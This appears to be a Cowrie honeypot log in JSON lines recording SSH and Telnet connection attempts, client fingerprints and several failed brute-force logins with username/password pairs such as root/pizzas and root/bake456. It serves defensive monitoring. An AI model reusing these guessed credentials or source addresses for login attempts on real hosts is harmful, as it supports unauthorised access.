{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:23.583287Z","src_ip":"181.218.9.86","session":"0c3b7f75d1dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":52924,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e08fbcdee34","protocol":"ssh","message":"New connection: 192.169.249.148:52924 (10.17.0.5:22) [session: 3e08fbcdee34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:24.323299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:24.330404Z","src_ip":"192.169.249.148","session":"3e08fbcdee34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:24.395399Z","src_ip":"192.169.249.148","session":"3e08fbcdee34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accra_crypto","password":"accra123","message":"login attempt [accra_crypto/accra123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:24.590969Z","src_ip":"192.169.249.148","session":"3e08fbcdee34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:25.658273Z","src_ip":"192.169.249.148","session":"3e08fbcdee34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.381056785583496,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:34.811541Z","src_ip":"170.64.224.25","session":"af533ed45c5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52520,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac9c5ea799c","protocol":"telnet","message":"New connection: 170.64.224.25:52520 (159.203.135.109:23) [session: 7ac9c5ea799c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:37.252657Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45266,"dst_ip":"159.203.135.109","dst_port":23,"session":"afb7cd0c8f82","protocol":"telnet","message":"New connection: 170.64.224.25:45266 (159.203.135.109:23) [session: afb7cd0c8f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:53.867168Z"}
{"eventid":"cowrie.session.closed","duration":106.4141492843628,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:57.094756Z","src_ip":"170.64.224.25","session":"39e2950bcef9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":44570,"dst_ip":"10.17.0.5","dst_port":23,"session":"851a5dc0ccad","protocol":"telnet","message":"New connection: 107.150.146.69:44570 (10.17.0.5:23) [session: 851a5dc0ccad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:57.939293Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:59.203294Z","src_ip":"101.126.22.12","session":"257f1bbd0657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.26945686340332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:59:08.521999Z","src_ip":"170.64.224.25","session":"7ac9c5ea799c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.38599944114685,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:59:11.718669Z","src_ip":"170.64.224.25","session":"771af64cddd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.652796030044556,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:59:34.591994Z","src_ip":"107.150.146.69","session":"851a5dc0ccad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.277241945266724,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:59:35.144247Z","src_ip":"170.64.224.25","session":"afb7cd0c8f82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":117.76229476928711,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:59:53.294303Z","src_ip":"170.64.224.25","session":"369976159094","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":55390,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a4b9604e7df","protocol":"ssh","message":"New connection: 191.7.26.153:55390 (159.203.135.109:22) [session: 4a4b9604e7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:59:56.735967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:59:56.739691Z","src_ip":"191.7.26.153","session":"4a4b9604e7df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:59:56.853587Z","src_ip":"191.7.26.153","session":"4a4b9604e7df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lemur","password":"lemur123","message":"login attempt [lemur/lemur123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:59:57.350639Z","src_ip":"191.7.26.153","session":"4a4b9604e7df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:59:58.475465Z","src_ip":"191.7.26.153","session":"4a4b9604e7df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":40444,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8bcffbaca31","protocol":"ssh","message":"New connection: 181.218.9.86:40444 (159.203.135.109:22) [session: a8bcffbaca31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:21.698176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:21.705200Z","src_ip":"181.218.9.86","session":"a8bcffbaca31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:21.842471Z","src_ip":"181.218.9.86","session":"a8bcffbaca31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pizzas","message":"login attempt [root/pizzas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:22.424041Z","src_ip":"181.218.9.86","session":"a8bcffbaca31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:23.566923Z","src_ip":"181.218.9.86","session":"a8bcffbaca31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.196","src_port":30302,"dst_ip":"159.203.135.109","dst_port":23,"session":"fddf981d9ba5","protocol":"telnet","message":"New connection: 66.132.172.196:30302 (159.203.135.109:23) [session: fddf981d9ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:26.466733Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59924,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3b153385940","protocol":"telnet","message":"New connection: 170.64.224.25:59924 (159.203.135.109:23) [session: f3b153385940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:39.377016Z"}
{"eventid":"cowrie.session.closed","duration":15.635934352874756,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:42.102554Z","src_ip":"66.132.172.196","session":"fddf981d9ba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.196","src_port":5658,"dst_ip":"159.203.135.109","dst_port":23,"session":"8772cc37aa4f","protocol":"telnet","message":"New connection: 66.132.172.196:5658 (159.203.135.109:23) [session: 8772cc37aa4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:50.890666Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":59404,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f1a06a94ab5","protocol":"ssh","message":"New connection: 162.214.22.174:59404 (159.203.135.109:22) [session: 7f1a06a94ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:51.397170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:51.401788Z","src_ip":"162.214.22.174","session":"7f1a06a94ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:51.494028Z","src_ip":"162.214.22.174","session":"7f1a06a94ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bake456","message":"login attempt [root/bake456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:51.763092Z","src_ip":"162.214.22.174","session":"7f1a06a94ab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.177","src_port":29046,"dst_ip":"159.203.135.109","dst_port":23,"session":"dae1fda9f520","protocol":"telnet","message":"New connection: 66.132.172.177:29046 (159.203.135.109:23) [session: dae1fda9f520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:52.814656Z"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:54.904706Z","src_ip":"162.214.22.174","session":"7f1a06a94ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.566513299942017,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:55.457072Z","src_ip":"66.132.172.196","session":"8772cc37aa4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.196","src_port":19760,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ac6016ed573","protocol":"telnet","message":"New connection: 66.132.172.196:19760 (159.203.135.109:23) [session: 8ac6016ed573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:00:59.937841Z"}
{"eventid":"cowrie.session.closed","duration":15.386510372161865,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:08.201087Z","src_ip":"66.132.172.177","session":"dae1fda9f520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.176879167556763,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:10.114596Z","src_ip":"66.132.172.196","session":"8ac6016ed573","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.177","src_port":51180,"dst_ip":"159.203.135.109","dst_port":23,"session":"e761782b2cb2","protocol":"telnet","message":"New connection: 66.132.172.177:51180 (159.203.135.109:23) [session: e761782b2cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:11.430491Z"}
{"eventid":"cowrie.session.closed","duration":3.1614506244659424,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:14.591816Z","src_ip":"66.132.172.177","session":"e761782b2cb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.175","src_port":30744,"dst_ip":"159.203.135.109","dst_port":23,"session":"0edec447e588","protocol":"telnet","message":"New connection: 66.132.186.175:30744 (159.203.135.109:23) [session: 0edec447e588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:15.241656Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.177","src_port":28654,"dst_ip":"159.203.135.109","dst_port":23,"session":"385ac0fc49c1","protocol":"telnet","message":"New connection: 66.132.172.177:28654 (159.203.135.109:23) [session: 385ac0fc49c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:19.407629Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.136.42","src_port":59994,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b513d4b5922","protocol":"ssh","message":"New connection: 170.238.136.42:59994 (10.17.0.5:22) [session: 8b513d4b5922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:19.608047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:19.616019Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:19.726394Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:fb:e2:d2:68:7b:72:ca:08:31:ce:cf:40:f9:6f:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGffo2M/S7/04azS47gqglllV88wk2uFdQKw5rHng8KQ03isJgH+ksQ0UFf7ckgCoHlLCOcoHa0Q2bSTqrGgATZWOVq7ZpM3kdsbvVQXSoSqFmMFiuP1fPHT4M2CN56uGS3VIL/Ab1InehXlw+2dc/aRyxNbbg4x5lJixbNQiL+7Oqt4b1cn46WZJnBpm068fnlL/wZhX5G/SeTjQe8Zp1+tQPIkL35BeP0S8QE96aHKqH4mwePeLQrJSbRIpx3Yv9FNd4MGKuPy1axgi+q2dbkpQ6/pe79a4XgezjWkcVIdKSVfTjv5O1dRQ94v4TTofUIjh8z1RQmKOtgUjzrLrz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:fb:e2:d2:68:7b:72:ca:08:31:ce:cf:40:f9:6f:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:20.252499Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:fb:e2:d2:68:7b:72:ca:08:31:ce:cf:40:f9:6f:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGffo2M/S7/04azS47gqglllV88wk2uFdQKw5rHng8KQ03isJgH+ksQ0UFf7ckgCoHlLCOcoHa0Q2bSTqrGgATZWOVq7ZpM3kdsbvVQXSoSqFmMFiuP1fPHT4M2CN56uGS3VIL/Ab1InehXlw+2dc/aRyxNbbg4x5lJixbNQiL+7Oqt4b1cn46WZJnBpm068fnlL/wZhX5G/SeTjQe8Zp1+tQPIkL35BeP0S8QE96aHKqH4mwePeLQrJSbRIpx3Yv9FNd4MGKuPy1axgi+q2dbkpQ6/pe79a4XgezjWkcVIdKSVfTjv5O1dRQ94v4TTofUIjh8z1RQmKOtgUjzrLrz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:20.255501Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
